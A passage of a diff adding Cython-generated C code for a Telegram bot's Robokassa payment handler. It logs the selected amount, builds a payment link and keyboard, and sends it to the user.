* + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyTuple_New(5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = 0; + __pyx_t_15 = 127; + __Pyx_INCREF(__pyx_kp_u_User); + __pyx_t_7 += 5; + __Pyx_GIVEREF(__pyx_kp_u_User); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_User); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_chat); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_16, __pyx_n_s_id); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_t_4, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); + __Pyx_GIVEREF(__pyx_t_16); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_16); + __pyx_t_16 = 0; + __Pyx_INCREF(__pyx_kp_u_selected_amount); + __pyx_t_7 += 18; + __Pyx_GIVEREF(__pyx_kp_u_selected_amount); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u_selected_amount); + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); + __Pyx_GIVEREF(__pyx_t_16); + PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_16); + __pyx_t_16 = 0; + __Pyx_INCREF(__pyx_kp_u__6); + __pyx_t_7 += 1; + __Pyx_GIVEREF(__pyx_kp_u__6); + PyTuple_SET_ITEM(__pyx_t_2, 4, __pyx_kp_u__6); + __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_2, 5, __pyx_t_7, __pyx_t_15); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_16}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":140 + * await state.update_data(amount=amount) + * logger.info(f"User {callback_query.message.chat.id} selected amount: {amount}.") + * inv_id = 0 # <<<<<<<<<<<<<< + * + * tg_id = callback_query.message.chat.id + */ + __pyx_cur_scope->__pyx_v_inv_id = 0; + + /* "handlers/payments/robokassa_pay.py":142 + * inv_id = 0 + * + * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * payment_url = generate_payment_link(amount, inv_id, " ", tg_id) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":143 + * + * tg_id = callback_query.message.chat.id + * payment_url = generate_payment_link(amount, inv_id, " ", tg_id) # <<<<<<<<<<<<<< + * + * logger.info(f"Payment URL for user {callback_query.message.chat.id}: {payment_url}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_generate_payment_link); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 143, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_16 = __Pyx_PyInt_From_long(__pyx_cur_scope->__pyx_v_inv_id); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 143, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_2 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[5] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_amount, __pyx_t_16, __pyx_kp_u__15, __pyx_cur_scope->__pyx_v_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 4+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 143, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":145 + * payment_url = generate_payment_link(amount, inv_id, " ", tg_id) + * + * logger.info(f"Payment URL for user {callback_query.message.chat.id}: {payment_url}") # <<<<<<<<<<<<<< + * + * confirm_keyboard = InlineKeyboardMarkup( + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_info); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyTuple_New(4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = 0; + __pyx_t_15 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_URL_for_user); + __pyx_t_7 += 21; + __Pyx_GIVEREF(__pyx_kp_u_Payment_URL_for_user); + PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u_Payment_URL_for_user); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_4) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_4) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_4); + __Pyx_GIVEREF(__pyx_t_4); + PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_4); + __pyx_t_4 = 0; + __Pyx_INCREF(__pyx_kp_u__16); + __pyx_t_7 += 2; + __Pyx_GIVEREF(__pyx_kp_u__16); + PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u__16); + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment_url, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_4) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_4) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_4); + __Pyx_GIVEREF(__pyx_t_4); + PyTuple_SET_ITEM(__pyx_t_3, 3, __pyx_t_4); + __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyUnicode_Join(__pyx_t_3, 4, __pyx_t_7, __pyx_t_15); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_16))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_16); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_16); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_16, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_4}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_16, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":147 + * logger.info(f"Payment URL for user {callback_query.message.chat.id}: {payment_url}") + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/robokassa_pay.py":148 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], + */ + __pyx_t_16 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 148, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + + /* "handlers/payments/robokassa_pay.py":149 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], + * ] + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_n_u__17) < 0) __PYX_ERR(0, 149, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 149, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_2); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_2)) __PYX_ERR(0, 149, __pyx_L1_error); + __pyx_t_2 = 0; + + /* "handlers/payments/robokassa_pay.py":150 + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 150, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_data, __pyx_n_u_pay_robokassa) < 0) __PYX_ERR(0, 150, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyList_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_GIVEREF(__pyx_t_14); + if (__Pyx_PyList_SET_ITEM(__pyx_t_4, 0, __pyx_t_14)) __PYX_ERR(0, 150, __pyx_L1_error); + __pyx_t_14 = 0; + + /* "handlers/payments/robokassa_pay.py":148 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay_robokassa")], + */ + __pyx_t_14 = PyList_New(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 148, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 0, __pyx_t_3)) __PYX_ERR(0, 148, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_4); + if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 1, __pyx_t_4)) __PYX_ERR(0, 148, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_t_16, __pyx_n_s_inline_keyboard, __pyx_t_14) < 0) __PYX_ERR(0, 148, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/robokassa_pay.py":147 + * logger.info(f"Payment URL for user {callback_query.message.chat.id}: {payment_url}") + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_16); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_GIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_14; + __pyx_t_14 = 0; + + /* "handlers/payments/robokassa_pay.py":154 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/robokassa_pay.py":155 + * + * await callback_query.message.answer( + * text=f" {amount} . :", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_7 = 0; + __pyx_t_15 = 127; + __Pyx_INCREF(__pyx_kp_u__18); + __pyx_t_15 = (65535 > __pyx_t_15) ? 65535 : __pyx_t_15; + __pyx_t_7 += 25; + __Pyx_GIVEREF(__pyx_kp_u__18); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u__18); + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_4) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_4) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_4); + __Pyx_GIVEREF(__pyx_t_4); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_4); + __pyx_t_4 = 0; + __Pyx_INCREF(__pyx_kp_u__19); + __pyx_t_15 = (65535 > __pyx_t_15) ? 65535 : __pyx_t_15; + __pyx_t_7 += 45; + __Pyx_GIVEREF(__pyx_kp_u__19); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u__19); + __pyx_t_4 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_7, __pyx_t_15); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_text, __pyx_t_4) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":156 + * await callback_query.message.answer( + * text=f" {amount} . :", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * logger.info(f"Payment link sent to user {callback_query.message.chat.id}.") + */ + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":154 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} . :", + * reply_markup=confirm_keyboard, + */ + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_16, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L28_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 154, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 154, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":158 + * reply_markup=confirm_keyboard, + * ) + * logger.info(f"Payment link sent to user {callback_query.message.chat.id}.") # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_logger); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_info); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = PyTuple_New(3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_7 = 0; + __pyx_t_15 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_link_sent_to_user); + __pyx_t_7 += 26; + __Pyx_GIVEREF(__pyx_kp_u_Payment_link_sent_to_user); + PyTuple_SET_ITEM(__pyx_t_14, 0, __pyx_kp_u_Payment_link_sent_to_user); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_14, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__6); + __pyx_t_7 += 1; + __Pyx_GIVEREF(__pyx_kp_u__6); + PyTuple_SET_ITEM(__pyx_t_14, 2, __pyx_kp_u__6); + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_14, 3, __pyx_t_7, __pyx_t_15); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_16))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_16); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_16); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_16, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_t_3}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_16, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/robokassa_pay.py":116 + * + * + * @router.callback_query(F.data.startswith("robokassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + 